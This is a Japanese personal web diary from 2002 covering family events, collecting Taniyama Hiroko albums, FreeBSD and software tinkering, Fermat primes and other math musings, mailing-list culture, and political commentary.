今日は、三女９歳の誕生日(^^)。奥さんのお母さまと妹も来てくれて誕生祝い。バースディーケーキを食べました。今日はとても楽しい一日でした。
午前中、奥さんと三女がどこかに出かけていると思っていたら、今日は父の日でもあるそうで、三女がお財布をプレゼントしてくれました。とってもうれしいです(^^)。さっそく明日から使います。
家の Windows Me マシンが不安定。動画配信も見れないし、いよいよ、再インストールの時期か。面倒くさいなあ(^^;。アプリケーションも入れ直ししなければいけないし。奥さんと子供のインターネット関連の ID やパスワードも、全部調べ直さなければならないし。前にも分からなくなって、仕方がないので tcpdump でやっと調べたことがあったんだ。最大の障害は、今は亡き「ゲートウエイ」のマシンということなんだよね(^^;。
FreeBSD 4.6 がリリースされました。dmesg の最初の部分。
FreeBSD 4.6-STABLE #2: Sun Jun 16 12:14:25 JST 2002

2002年6月15日(土)

谷山浩子さんの CD 4 枚「鏡の中のあなたへ」、「夢半球」、「水の中のライオン」、「透明なサーカス」を mp3 化。
実は「もうひとりのアリス」と「お昼寝宮・お散歩宮」もまだ聴いてないんだ(^^;。
品切れの心配がなくなったので、これからじっくりと聴こうと思っています。本当のことを言うと、どれがどれだか分からなくなりつつあるんだ(^^;。
いくら他に環境がないといっても、いつもパソコンの mp3 をヘッドフォンで聴くのもちょっとねえ(^^;。こんど、音楽教室のスタジオを２時間くらい借りて、いい環境でじっくり聴きたいな。先生にたのんでみよう。
谷山浩子さんの音楽は、人間が持つ愛情の根源に触れる面があると思います。愛情面に決定的な影響を与えられた人も多いと思います。
「水の中のライオン」のジャケット美しいです(^^)。
とりあえずの目標の CD がそろったのと購入日付の管理のために、現行の mp3 ディレクトリ状態を記録。Memories を２枚と数えて 28枚です。
$ find . -name '*.mp3' | wc -l
```
318
```
ついに 300 曲到達(^^)。
久々に谷山浩子さんのページが更新されていました(^^)。アルバムリストも更新です。なんか、谷山さん、躁状態(^^;。
11時からドラムの練習。明日は三女の９歳の誕生日ということで、奥さんと三女がセキセイインコを買ってきました(^^)。鳥を飼いたがっていたんだ。名前は「ピクちゃん」だそうです(^^)。
私も行きたかったんだけど、ドラムの時間とぶつかっちゃった。ハムスターも飼っていて、動物っていうのは意外とヤキモチを焼くので、わたしはせいぜいハムスターのお相手をしよう(^^;。
だいぶ前にもらったデジタルカメラがやっと稼働。明日は、鳥とハムスターの写真でもとってアップしようかな。

最大の問題は家の Ethernet 上で Windows PC と私の FreeBSD ノートの転送速度が、3Kbps しかでないことなんだ。 3Kbps だよ(^^;。メガじゃなくってキロですよ。いろいろ設定をいじっているんだけど直らない。ネットワークコンピューターも ftp もだめ。不思議なことに両方とも外の世界には同じルーター経由で 1.7Mbps くらい出るんだ。 ADSL で会社の PC にアップして、そこから吸い上げた方が速いんだよな(^^;。
藤沢駅の近くに「スペイン料理タパ・タパ」という店がある。いやっ、どうでもいいんだけど。

2002年6月14日(金)

午前様で家に帰ったら、谷山浩子さんの CD 4 枚が届いていた(^^)。もう眠いので、ジャケットだけ確認して一度「谷山浩子さん倉庫」にしまう。
谷山浩子さんのページの CD 所有状況を更新。
トップページのメールアドレスが古いものだったので修正。
今11時45分頃。地震。茨城県、埼玉県、千葉県、栃木県の一部で震度４だそうです。
「漂流楽団」というアルバムに「七角錐の少女」という曲があります。この曲に関して、石井ＡＱ氏の所のＨＴプロデューサーの小屋に書かれている様に７という数は、定規とコンパスで正多角形が描けない最初の奇素数なのです。
現在知られている範囲で、素数の辺をもつ正多角形が定規とコンパスで描けるのは、
```
    3,5,17,257,65537
```
だけです。角の２等分はできるので、上記の素数に 2 の巾を掛けた辺の数の正多角形が定規とコンパスで作図可能なのです。実は、上記の素数の列は、
```
    3     = 2^(2^0) + 1  = 2^1  + 1
    5     = 2^(2^1) + 1  = 2^2  + 1
    17    = 2^(2^2) + 1  = 2^4  + 1
    257   = 2^(2^3) + 1  = 2^8  + 1
    65537 = 2^(2^4) + 1  = 2^16 + 1
```
という美しい規則性を持っています。C.F.Gauss(ガウス)が 17 歳のときに証明した次の定理があるのです。
```
    素数の正 n 角形が定規とコンパスで作図出来るのは n が 2^(2^m) + 1 の形で
    それが素数になる場合に限る。
```
それでは、65537 より大きい場合はどうかといいますと。
```
    4294967297                                = 2^(2^5) + 1  = 2^32 + 1
                                              = 641 * 6700417

    18446744073709551617                      = 2^(2^6) + 1  = 2^64 + 1
                                              = 274177 * 67280421310721

    340282366920938463463374607431768211457   = 2^(2^7) + 1  = 2^128 + 1
                            = 59649589127497217 * 5704689200685129054721
```
という様に、すべて合成数か、もしくは今のところ素数かどうか分からないのです。最後の例は IPv6 のアドレス空間の数に 1 を足したものですけど、やっぱり IPv6 って大きいのね(^^;。
もちろん証明なんて、大学で勉強するまで分かりませんでしたが、このあたりの知識は小学生だったか中学生のころから知っていて、「数学というものは非常に面白く、美しいものだ」と感心した記憶があります。
私の隣で、オムニ社のロボットを暴走させて、私を殺そうとしている S 君は、正17角形を本当に定規とコンパスで描いたことがあるそうです(^^;。
数学と音楽は共通点があるようで、時代と作風による、わたしの独断による対応(^^;。

バッハライプニッツ

モーツァルトオイラー

ベートーベンガウス

ショパンガロア

シューマンアーベル
今日の 15時30分からは、社員ほとんど全員会議室にこもってサッカー観戦。おいおいビールまであるよ。大丈夫か、あっしの会社(^^;。わたしは、お酒飲めないので、つまみだけもらって退散。サッカーが始まると、メーリングリストのトラフィックがなくなるんだ。

2002年6月13日(木)

Mewを Ver 3.0.54 に入れ換え。 Mew2(ミューツーと読むそうです)に比べて、速度が速くなっている。ニュースグループ対応というが、使いかたが良く分からない(^^;。例のごとくドキュメントを読まないからなんだけど。ここは、若い人を誘惑して、インストールさせて設定だけをいただこうかな。
↑若い人曰く。「かがみさん、誘惑じゃなくって、強引に私の席に来て、勝手にインストールしちゃったんじゃないですか」。スミマセンm(__)m 。
ロボカップという大会があって、ロボットにサッカーをやらせるらしい。来週九州で大会があるようです。私の会社、といっても、 20人もいない会社なんだけど、のエライ人達は、これに夢中になっていて、社員が困っていてもウワの空なのです(^^;。
わたしは、巨大な壁型ロボットを作ってゴールの前に置けば絶対に敗けないという、画期的かつ偉大なるアイディアを出したましたが却下されてしまいました(;_;)。←ばか。
会社のでないプライベートメールアドレスが欲しいのです。こういう好き勝ってなこと書いてるページで会社のアドレスはまずいもんね。もちろんプロバイダのアドレスはもっているんだけど、星座名エイリアスをつけて娘にあげちゃったのでダメ。新規のアドレスをとるしかないですね。Biglobe の場合月 200 円でフォワードは一箇所なら無料だそうです。結局会社にフォワードするんだけど。
さっそく登録しました。新アドレスは kagami@xqb.biglobe.ne.jp となりました。フォワードもうまくいく様です。フォワード完了後メールを消す設定なので、実際のメールボックスを見にいくことはないでしょう。
ついでに、技術系以外のメーリングリストもこのアドレスに変更しました。これで、ますます biglobe から抜け出しにくくなっちゃったな(^^;。
今日なんでこんなに書き込んでいるかというと、暇なわけではなく、 FPGA のデバッグでコンパイルに 30 分以上かかるんだ。その間に他の仕事をすればいいのだろうけど、なかなか集中できなくって。

2002年6月12日(水)

昨日は11時まで会社。1時に帰宅。朝6時半に起きるはちょっとつらい(^^;。通勤時間が2時間というのが問題なんだ。朝は確実に座れるので、それなりに睡眠時間は確保できるんだけど。
こういう生活を6年続けて壊れたんだから自重しないといけない。キャパシティーぎりぎりの不規則な生活を続けていると、肉体的にではなく精神的に壊れていくのです。
↑起きれた様で(^^;。
昨日久しぶりにに Memories を聴いてて気がついたんですけど、「森へおいで」って「冷たい水の中君と歩いていく」バージョンと Memories バージョンで歌詞が違うのですね。そういえば、前にどこかで読んだ記憶があるけど、すっかり忘れてました。Memories の方がちょっとアブナイ感じかな。どっちが好きかと言われても困ってしまう。
7月5日(金)幻想図書館の初日は一日有給。なーんたって、あんなに使ったのにまだ 20 日も残っているんだ(^^)。
今日は Mozilla のコンパイル。ついに正式な Mozilla 1.0 です。 CPU が強力でメモリーが沢山あるという前提ならば非常に使いやすいです。特にタブ機能は一度使うとやめられなくなります。
おととい発注した谷山浩子さんの CD が4枚が出荷済みだそうで明日届きそうです(^^)。
もう一つ、おととい、ボーナスがいつ出るかわからないと書きましたけど、 P さんの話によると「そんなの知らないのかがみさんだけですよ。」ということらしいです。どうも、皆知っていて、私だけが大切な話のとき関係ないことを考えていて聞いていないということらしいです(^^;。

2002年6月11日(火)

注文内容

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PCCA-260            ｜       1｜ ￥2,718｜谷山浩子/鏡の中のあなたへ
PCCA-261            ｜       1｜ ￥2,718｜谷山浩子/夢半球
PCCA-265            ｜       1｜ ￥2,718｜谷山浩子/水の中のライオン
PCCA-269            ｜       1｜ ￥2,718｜谷山浩子/透明なサーカス
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これで、ベスト盤と「静かでいいな　～谷山浩子15の世界～」以外は大体そろうかな。いやー、長い４ヵ月間であった。

昨日の晩から、右手の中指から小指にかけて、つき指したあとみたいに痛くて、ちょっとタイピングが辛いです。原因に心あたりがないんだけどどうしてだろ。
隣の席の S さんが、大砲みたいな台にのった大きいカメラの制御プログラムを作っていて、カメラが「うぃーん」と音をたてて回るのである。なんか形がロボコップにでてくるオムニ社のロボットみたいなんで、暴走して機関銃で撃たれる様な気がしていやなのである(^^;。
S さんのプログラムは暴走する様なことはないんだけど。
CD をヤマノミュージックオンラインで注文することが多いのだけど、トップページにタイムボカンシリーズの DVD の宣伝が書いてある。欲しいな。でも買えない。 ←ば～か(^^;。

入荷状況のメールあり。全部在庫ありでした(^^)。

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PCCA-260   2002-06-11        入荷待ち    谷山浩子/鏡の中のあなたへ
PCCA-261   2002-06-11        入荷待ち    谷山浩子/夢半球
PCCA-265   2002-06-11        入荷待ち    谷山浩子/水の中のライオン
PCCA-269   2002-06-11        入荷待ち    谷山浩子/透明なサーカス
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2002年6月10日(月)

最近「森へおいで」を聴くことが多いのです。いかにも谷山さんらしい幻想的な歌詞と、素晴らしいメロディーに魅了されています。年がら年中これ聴いてるわけではないけどね。楽譜欲しいな。
結局、朝の４時まで F1。やっぱりシューマッハ。ねむーい。
会社についたら、突然ボーナスが支給されていた(^^)。私が勤めている会社は、完全年俸制なのだけど、保険料対策ということで、 6,10,12の各月に年収の 1/9 ずつがボーナスとなるのだ。ちょっと困るのは、必ず出るのではあるが、いつ出るのかわからないで今日みたいに突然でるんだよね(^^;。
一年だけ、本当に年俸を 12 で割った給与を毎月もらったことがあるんだけど、めりはりがなくてつまんなかったです。
よーし、これで谷山さんの CD で未購入のを買える～。だけど、奥さまの許可をもらわないとね。
「ぬきうちテスト」のパラドックスというのがあって、結構有名なんですけど次の様なお話です。
学校の先生曰く「今週の月曜日から、金曜日の間にテストを行うが、ぬきうちなので、君達がいつ試験があるかを事前に知ることはない。」
生徒が思ったこと、「しめしめ、これでテストは無しだ。まず、金曜日にテストを行うのは不可能。だって、木曜日にテストがなかった時点で、金曜日にテストがあると分かってしまってぬきうちにならないもんね。」
「同様に木曜日も不可能、水曜日も不可能。全部不可能だ～(^^)。」
このパラドックスには先生が死刑執行人、生徒が死刑囚、テストが死刑執行というエイリアスもあるんだ。なんで、突然こんな話かというと、先生が会社、生徒が私、テストがボーナス支給だと困るなと思ったんだ(^^;。
ただし上記パラドックスには強烈なオチがあって、
金曜日に先生が「それではテストを行う。」
生徒曰く、「先生それはダメですよ。昨日までテストがなかったんだから、今日テストがあると分かっています。ぬきうちにならないのでテストはできません。」
先生曰く「だから、君はテストができないと思ってたんだろ。ほーら、ぬきうちじゃないか。」
私は全然知らないのですが、ものの本によると、古典論理では説明できない様相論理で説明可能な問題だそうです。

2002年6月9日(日)

「ねこの森へは帰れない」全部聴きました。感想はまだまとまらないんですが、アルバム名と同名の曲が気に入りました。あと、後半の曲は聴いてて楽しかったな。
「まだ」とか「後で」って書いたやつ、いつも永久に出来ないのだ(^^;。
昨日の朝日新聞に、ウイルスに感染しずらいメーラーの設定が書いてあった。 Outlook を例として、いろんな設定が書いてあったんだけど、一言「Outlook 以外のメーラーを使用する」と書けばいいのに(^^;。それにしても、朝日新聞の４コマ漫画って、朝刊は面白いのに、夕刊はどうして例外なくあんなにつまんないの？
ちなみに、朝刊の「いしいひさいち」氏、アイディアがでなくなると「地底人」が登場するのだが、最近でないな。好調なのかな。「江口寿史」氏の「白いワニ」みたいなもんだ。
昨日は疲れたので、睡眠薬がわりに「しっぽのきもち」。このアルバムとても好きなのです。
今、0時40分。情報によると、今朝のニッポン放送7:00～9:00放送の「イルカのミュージックハーモニー」にゲスト出演らしいとのこと。丸写ししちゃってすみませーん。起きれるかなあ。
↑起きれました(^^;。今、朝の 6時30分。にちゃんねる情報だそうなので、どうかなと思ってラジオをつけといたら、8時20分頃の電話出演でした(^^)。今年の幻想図書館の DVD 化は行わないとのこと。「学びの雨」がかかりました。
だけど、誰がにちゃんねるに書いたのかな。まさかご本人じゃないよねえ(^^;。
先週、先生がダウンだったので、今週は 19時から21時までドラムの練習。三女も一緒に習っているんだけど、私なんかよりはるかに上手なんだ(^^;。ピアノもドラムも全部三女の方が上手。まったく子供は覚えがいいねえ。
ところで、私は全然構わないのだけど、先生サッカーみなくて大丈夫なのかな。習いにいったらちょっとつついてみよう(^^)。
↑先生もまったく興味がないとのことでした。「王国」のドラムパート、だいぶ形になってきたな。CD に合わせてたたいて、うまく谷山さんの声とシンクロしたときは、なかなかの快感なのです(^^)。
サッカーは興味ないけど、F1 は見たいな。だけと3時半までというのは、ちょっときついな。でも、見ちゃうんだろうな。

2002年6月8日(土)

今日も会社。うーん、不可能に近いことを、あっしが休んでいる間に請け負わないでよ～、と一言グチをいって、 2002年6月6日(木)の「先が見えてきた」部分を修正(^^;。
あの厳格な FreeBSD-users-jp がほのぼの系チャットルームに変身したのであります(^^;。関脇以上の大物達は、１５日間におよんだ壮絶なる戦いに疲れ、休場もしくは引退を余儀なくされたのであ～る(^^)。そもそも FreeBSD-users-jp は今まで、どうでもいい細かいことにうるさすぎたのであります。例えば、
FREEBSD と書くと怒られる。ＦＲＥＥＢＳＤなんて論外。
思わず X Windows なんて書いたらさあ大変。もちろん最後の s が悪いのよ。でもって、訂正して X-Window なんて書くと、ハイフンは不必要なんて怒られる。
メールのヘッダが間違えていたりするとまた怒られる。ただ、不思議なのは MS のメーラーで間違えているとすごーく怒られるんだけど、 MS がらみじゃないメーラーの間違いはあんまり怒られないのよね。気持はわかるんだけどさ。
それで、一番困ると思っていたのが、「そんなことは、どこどこに書いてあります。良く調べてから質問しましょう」という回答なんだ。調べ方がわからないから質問するんだろうし、そもそも「調べるのが面倒なので質問」だっていいと思うんだけど←自分のこと(^^;。どうせ教えたがりの人はごまんといるんだから。
私の知っている範囲でも、FreeBSD-users-jp に質問を投稿して、罵倒されていや気がさして Linux に走った人を 2 人知っているのであります。私の知人なんてたかが知れた人数なので、全国的にはかなりの人数がいると推測されるのです。
でっ、今は、どんな雰囲気になったかといいますと、
誰かが質問をするのです。Subject のないメールだったり、文章の段落がなくて、最初から読む気がしなくなる様なのだったり、何を聞きたいのか意味不明とかいろいろ。前だったら、それだけで罵倒の嵐になる様な質問なのです。
それらの質問に、あまり経験がない人達が、一生懸命回答しているのであります。それで、回答者もよく間違えるので、訂正のメールが流れる。それを、元質問者が引用して、また間違える。等々チャット的な仲良しスレッドができるのです。もちろん、それなりに高度な話題も流れるんだけど、どうでもいい間違いに対する指摘はほとんどなくなったんだ。
世代交替が進んで、非常に良い状態になったと思うのです。いつまでも、「識者」たるベテランが大きい顔してても困るしね。なんか、ファンタジー小説のように、冒険から帰ってきたら、精神的に大人になったかなという風情なのであります。
もっとも、わたしも、「かがみさん、C 言語の printf で・・・」なんて若い人に質問されると、「printf は C 言語の一部分ではないけど、何のことかな？」なんて意地悪を言うので、エラソーナことは言えないのだ(^^;。
安倍官房副長官が「核保有発言の真意を説明」してるらしいが、そのなかで、早稲田大学が「発言を外に一切出さないことを了解した」そうで、それが週刊誌にもれたので、「学問の自由を侵す」んだってさ。学問の自由と全く関係ないよな。週刊誌に書かれて困る学問っていったい。やっぱり小学校の国語から勉強しなさい。算数や数学はいくら勉強しても無駄だろうから許してあげる(^^)。

2002年6月7日(金)

やっぱり会社(^^;。なんか、思い通りに割り込みが入ってないね。ねむ～い。ちょっとその辺でねる前にー、いつもおじゃまするところをチェックしていたら。
また、石原都知事が官房長官を激励と本性を丸出しにしているのでありますが、私が良く分からないのは、亀井静香←「このページやる気がないですなあ(^^)」という人物なのです。

色々悪い噂があったり、えげつない話もよく聞くのですが、なんといっても死刑廃止議員連盟会長なのであります。それも、単に名前を貸しているだけかというと、そんなことはなく、非常に熱心に活動され、野党の議員の評判も非常に良いらしいのです。また、もと警察官僚である経歴にもかかわらず(だから？)、死刑廃止を訴えるところに非常な誠実さを感じるのです。上のページの内容を読むと、非常に理路整然と死刑を廃止するべきであると訴えており感動的であるほどなのです。賛成、反対は別として、ぜひ一度きちんと読んで頂きたいと思うのであります。
ところが、彼が、国家による殺人に関しては全く正反対の考えだと思われる、都知事の新党を待望しているという話も聞こえてくるわけであります。先程のページを読む限り全く信じられないことなのです。
亀井氏の場合、確かに、一筋縄ではいかない顔つきの人物であり、いろいろな面をもっていることは事実なのでしょうが、私には彼の真意がまだ理解できないのであります。
↑んなこと書いるひまがあったら仕事しろって(^^;。
今回のプログラム。なかなか、思い通りに動かないねえ。しぶといんだよな(^^;。
気分転換に「ねこの森へは帰れない」の最初の曲「朝の扉を開くとき」を聴く。いや～、若いですねえ。結構演歌っぽかったのね(^^)。それにしても、歌い方が硬いですなあ。軽快さと自在性が出てくるのはいつ頃あたりからなんだろ。また、楽しみが増えたね。

2002年6月6日(木)

すごい雷で、６時前に起きてしまった。こんな朝から雷なんて変だよ。
いやー、久しぶりに会社に泊りかなあ。あーあ。谷山さんのイベントの日の納期の仕事をまだやっているという(^^;。
だけど、先が見えてきたぞ。まだ油断は出来ないけどね。←やっぱ油断であった(^^;。
昨日、DTI に引っ越そうかという話を書いたら、DTI にもいくつか問題があることを教えて下さった方がおります。特に問題そうなのが、ユーザー自作 CGI が使用出来ないということです。そうすると、昨日悪口を書いた biglobe の方が自由度があるということかなあ。また迷い始めたのであります。今、特に困っているわけでないので、しばらく動かないだろうな。
どうもありがとうございまーす。
昨日の朝、電車にのっていたら、女子高生らしき二人が次の様な会話をしていたのです。
「やっぱ、彼氏ってカオも大事だけど、セーカクも大事だよねー」
「そうそう、チョー大事だよね」
私は、これを聞いてにんまりしてしまったのです。まずカオの件については、彼女達の貴重なるご意見に大賛成であります。
なんといっても、彼氏や彼女を作るときに、顔や体は重要なファクターであることは当然であります。
それに、顔に関していえば、彼氏に限らずどんな場合でも重要な要素であると思うのです。一目カオを見りゃ、その人がいい人かとか、どうしようもない人とか、頭がいいとか、悪いとか分かると思うのですが、そのあたりが分からないで損をしている場合をよく見かけるのであります。
特に会社の中途採用なんて、顔で決めれば 95% という脅威の歩留まりを実現可能と思うのですが、「真面目そうである」とかいう変てこな理由で決めて失敗しちゃう場合が多いのであります。その人の生き方がちゃんと顔に表れるんだよね。
それでは、セーカク方はどうかと言いますと、残念ながら彼女達のご意見には、まったく賛同できないのであります。セーカクじゃなくてセックスというなら話はわかるんだけどね(^^;。
確かに、性格が良いということは大変な美徳であり、一緒に仕事を行う場合など、非常に助かるのであります。逆に、ワタクシの様に、わがままで、自分勝手、機嫌が良いと思うと、ちょっとしたことで悪くなる等、性格の悪さを絵に描いた様な人間の場合、近くにいる人達が大変な苦労をしているであろうことは容易に想像がつくのであります。
それにしても「性格がいいからその人を愛する」なんてバカなことは、いくら現代の女子校生とはいえ、そりゃないでしょうよ(^^;。
愛するという行為自体、肉体と精神が、非常に濃密に接触しあうわけで、その様な世界に性格などが入り込む余地は全くないと思うのです。精神を特徴づける言葉を無理に探すと「個性」かなあ。
おそらく、彼女達のいう「彼氏」というのはもっと軽い気持なんでしょうし、もしかすると「性格」と「個性」の違いが分かっていないのかも知れません。いずれにしても、ちょっと笑っちゃったのであります。
↑顔も性格も破綻している男が良く言うよ(^^;。

2002年6月5日(水)

現在、プロバイダーの移行を考えているのであります。私は Flets ADSL を使用しているので、割り高ではあるのですが、プロバイダーの自由度は高いのです。割り高ったって、一昔前に比べれば、夢の様に安いんですが。
今の biglobe で特に不便な思いをしているわけではないのですが、何か、ユーザの自由度が低いと思うのと、自由度を低くして、たいしたことない CGI とかで料金をとろうとしている姿勢が気に入らないのです。
まず、問題になるのはメールアドレス。私のアドレスは今は会社のなので、問題は奥さんの分と二女の分、二女は私のエイリアスなのだ。そのあたりを聞いたら、今のところ、相手の人はそんなに多くないし、全部把握しているから大丈夫とのこと。
次に問題となるのは、このページなんだけど、そんなにお客さんいないので大丈夫(^^;。
どこへ移行するかつもりかと言うと DTI なのです。理由としては、
- 会社の P さんが使っていてなかなか調子が良いとのお話。
- チャチャさんとこの管理人さんもご不満がないと書かれていた。
- ちらっとみた感じ、結構自由度が高そう。
そこで、DTI のサービス仕様を確かめはじめたのであります。だけど、例のごとく仕様を読むのが面倒だという悪い癖が。これでどんなに損をしてきたか(^^;。
というわけで、１月以上前から考えていて、いずれ移行するつもりなんですが、なかなか具体化しないのであります。そろそろ真剣に考えよ。
ところで、赤ずきんチャチャさんのところって、惑星名が火星(mars)なのね。私は saturn がいいな。実は一時セーラーサターン(ほたるちゃん)が好きだったのだ。そもそも、チャチャの前の壁紙って、ほたるちゃんだったもんな。まったく、いい年して困ったもんだ。
昨日、色々考えることがあって、今日はちょっと気分がブルー。そんなときは「天空歌集」かな。
↑「やすらぎの指輪」で復活(^^)。

2002年6月4日(火)

今日は平塚直行。１時に直行というおいしいモード。会社にいって、３時間近くかけて平塚にいっても仕方ないからねえ。帰りも中途半端なんだよね。
実は、わたくし、「円周率おたく」なのであります。小学校のとき 200 桁くらい暗記してたんだ。スゴイダロ。今は 70 桁位だけどね(^^;。
ちょっと前までは、パソコンで沢山の桁を求めるのが趣味だったのです。大体 10～15年位前の世界記録が出るんだよね。ソフトは、とても自分では作れないので、最近は CLNという多倍長パッケージを使用してるんだ。 GNU ライセンスの C++ のライブラリ集なんだけど、これが、驚く程多機能で高速。 C++ は機能が水ぶくれしていて嫌いなんだけど、こういう多倍長とか複素数での演算子の多義だけは便利だと思う。円周率とか階乗はサンプルとしてオマケでついてくるんです。とにかく、多倍長で遊びたい人には最適であります。
FreeBSD の場合 /usr/ports/math/cln/ があったはずです。
2年くらい前に、PII-375MHz,Memory=256M,Swap=768M 位の FreeBSD マシン (evariste ですな)で 50000000(ごせんまん)桁が数時間で求まって驚いた記憶がある。計算中は、スワップが頻発して、ほとんど他の用途には使えなかったけど。
今なら１億桁も計算出来ると思うのだけど、例のごとくパソコンの能力が上がりすぎてつまんなくなっちゃった。
もちろん、そんなに沢山求めても意味がないし、 200 桁覚えるのも何の役にもたたない。それでも、小学校の頃、円という基本的な図形の周囲が、無限に不規則に続く数で表されるのに非常な神秘を感じたことは確かなんだ。
そういう意味で、円周率を 3 なんて教えるのは、全くけしからん話で、本当は、教科書の余白に 1000 桁くらい書いといて小学生をびっくりさせれば良いと思うのです。そもそも、面白さなんてビックリすることから始まるんだから。小学生の感性あなどるなかれ。そして、実際上は 3.14 で計算させればいいじゃないか。
それにしても、小学校の頃はあんなに覚えられたのに、今はマンションの 4 桁の暗証番号も覚えられないとは(^^;。
HTML のバグ指摘あり。修正しました m(__)m 。

2002年6月3日(月)

私は taniyama-hiroko メーリングリストに入ってるんですが、次のポリシーがあります。
```
1) メッセージの無断転載禁止
基本的に誰でも参加できますしアーカイブからバックナンバーもとれ
るのですが、それでもメーリングリストに流れたメッセージを、発言
をした人(引用部分はそれをもともと発言した人)の了解を得ずにメー
リングリスト外に流すことは禁止しています。以下かがみが略。
```
このポリシーに対して私がどうこう考えているわけではないのです。当然のポリシーだと思うのです。でも、たまに昔のことを質問したりして、周知の事実を教えて頂くことは多いのです。
そういう場合、上のポリシーを読むと、周知な事実の引用でも許可なしでここには書いてはいけないかなと思うのです。ただ、いちいちメールで許可を求めるのも何か迷惑だし、困っているのです。メーリングリストで聞いてみようかな。
防忘録。O さんに「ジュラシックパーク III」を返すこと。
昨日、「冷たい水の中君と歩いていく」のことを書いたんですが、「森へおいで」の最後の部分でなにか不思議な声が聞こえるのです。教えてくれた方によると、何かの逆回転だとのこと。
何の逆回転かはまだ分からないのです。なんとか逆再生を行いたいと思って、ソフトウエアを検索したら、 xwave というプログラムを発見。これは WAV 形式等のファイルを編集するプログラムで逆再生機能もあり。
でっ、聴いてみると、、、やっぱり良く分かんない(^^;。何か limited quality って聞こえるんだけど意味不明。それはともかく、逆再生すると谷山さんの声ってジュリー・アンドリュースみたいに聞こえるのね。ということは、サウンド・オブ・ミュージックを逆再生すると、谷山さんの声になって２倍楽しめるか。いやっ、いくらなんでもそんなことはないよなー(^^;。
しばらく逆再生で聴いてたら、頭が痛くなってしまいバッファリン２錠(^^;。

2002年6月2日(日)

鳥越さんの「ザ・スクープ」をみようと、Windows ME の Netscape を起動して、そこから Windows Media Player を起動したら、Media Player が固まってしまった。 Windows ME や Media Player を Upgrade してもダメ。どうすればいいのだろう(^^;。
政府首脳、非核三原則見直しの可能性に言及。
憲法上、核を保有するのは問題ないという認識。この人達には、ちゃんと日本語が通じるのであろうか。記号論理の様な形式的な議論は無理だとしても、言葉がもつ意味をこれほど歪曲するとは。彼らが、普通の法律も、ちゃんと言葉の意味通りに守るとは思えないのである。
先日、谷山浩子さんのミニコンサートに行った日に買ったアルバム、「ねこの森には帰れない」「もうひとりのアリス」を mp3 化。まだ、聴いてないです。
この間、偏頭痛の話を書いたとき、悪ふざけで「冷たい水の中君と歩いていく」の歌詞を引用したんですが、それがきっかけでここ数日、このアルバムを聴いているのであります。全体的にテンポの設定が落ち着いていて、アレンジもクール、そして旋律の美しさが本当にすばらしいのです。リフレインを多用しているんですが、もとになる旋律が美しいのでちっとも飽きないのであります。というよりも、繰り返しごとに気持ちが高揚するのであります。
「瞬間」好きです。こんな美しい曲をしっとり歌われると本当に感動してしまいます。
「冷たい水の中君と歩いていく」この曲に自分が壊されるのなら悪くないな。最後のリフレインでは、本当に壊れちゃうかと思っちゃうし。
「森へおいで」確か Memories にもあったはず。こっちの方が清楚さが感じられてすきであります。その時の気分で変わるんだけど。
「恋人の種」これも、おんなじメロディーの繰り返しなんだけど、美しいよな。
「銀河通信」これはたしか「眠れない夜のために」にも入ってたはず。だけど、こっちの方が新しいアルバム。どういう歴史的経緯があるのだろう。
前にも書いたかも知れませんが、この様に美しい旋律の曲が次々と出来たこと自体信じられないのであります。
というわけで、また、絶対に手放せないアルバムが一つ増えたわけです。
先日、谷山さんのミニコンサート終った後 J さんとちょっと話をしたんですが、その内容が、「ここのイベント売場にも天空歌集売ってないですね」ということだったのです。「天空歌集」は、今非常に手に入りにくい状態なのです。
個人的な考えですが、「天空歌集」は谷山さんの数多い素敵なアルバム群のなかでも、特にすばらしい代表的なアルバムであると思うのです。各曲のすばらしさはもちろんのこと、一枚じっくり聴いた後は、本当に幸福な充実感が残ります。
この様な、本当にすばらしいアルバムですから、いつでも入手可能な状態にしてほしいものです。メーカさんも、予算とか色々あるでしょうが、やはり優れた作品をきちんと供給するのも一つの使命であると思うのです。というわけで「発売」してくれたら私３枚位買いますが(^^;。
ところで J さん、先日はどうもありがとうございました。もう少しお話したかったんですけど、お忙しそうだったんで。

2002年6月1日(土)

ドラムの練習の予定であったが、ピアノの先生から電話があって、「ドラムの先生、朝までレコーディングしてて、さっきダウン」ということで今日はお休み(^^;。
今日は中三の二女の運動会。奥さんが出身大学での同窓会の準備とかで不在。小三の三女と見にいく。中学三年生ともなると、子供も親ももり下がっていてつまんないねえ(^^;。やっぱり、運動会は小学校低学年までが華だね。
あの厳格な FreeBSD-users-jp がお笑いメーリングリストになってるのである。 KNK 大先生は、最後に一発こいて美しく退場されたのだが、それに便乗した小物たちが荒しまくっているのである(^^;。
愛すべき KNK せんせの場合は、プログラムにケチをつけられて、自分のページで怒っていただけで、メーリングリストでは特に問題発言はしていないんだよね。彼のページの印象が強烈過ぎてみんなあぜんとしたんだよ。最後の一発も、意味不明なんだけど読み直すと面白いんだ(^^)。
あれっ、リンクを張ろうとアクセスしたら新しいシリーズがはじまってる、どれどれ、見にいこ、、、 5月のみどころ「nxt シリーズ」「BSDでの死闘シリーズ」 だって。この人ほんとはすごく頭いいのかも知れない。それにしても、あのえげつない題名、どうすれば考えつくのであろうか。
だもんで、そんで、というわけで、まあ、ゴキブリのごとくわいてきた主要な小物リストは、
- 「◎」先生。「◎」がハンドル名。彼は、とりたてて面白くはないんだけど、名称と、浮上するタイミングが絶妙なんだな。わたしは、最初 KNK せんせの alias かなと思ったんだ。
- 「倉田佐祐理」女史こと「さゆりん」。この人は単なる面白がりの便乗組。
- 「じ」こと jir せんせ。久々の登場ですなあ。だけど、ちっとも面白くないんだよ。KNK 先生を見習いたまえっ、たって無理だろうけど。
"$ fin" さんなんてのも現れて、hotmail でスレッドは切るは、MS の広告載せるは、 PING,PCCARD.CONF って大文字で書くは、レスって言うは、ちょっと前だったら罵倒されていたんだろうけど、内容は普通の質問なんで、みんな親切に答えているもんな。ちゅーか、文句を言う大物が黙っちゃってるんだ。
FreeBSD-users-jp に関して言えば「そこそこのモト優等生が、学校の先生かなんかになって、大物の生徒に対処できなくて、小物の生徒に授業を荒されている」という、過去のだれかさんをみるようなのでありまーす(^^)。
ここは、ぜひ lala 大先生にご登場願って一発説教をたれて頂きたいものである。あっしも、理由や場所は忘れたが一度からまれたんだよね。

2002年5月31日(金)

最初の頃に書いた様に、このページのファイル群のプロバイダーへの転送はある程度自動化されているんですでど、難点が一つあって、常に全部のファイルを転送してしまうんだ。たいした量があるわけではないんで、別に毎回全部送ってもいいんだけど、一応わたしも技術屋さんなので、すこしでも効率を上げましょうと考えたわけ。
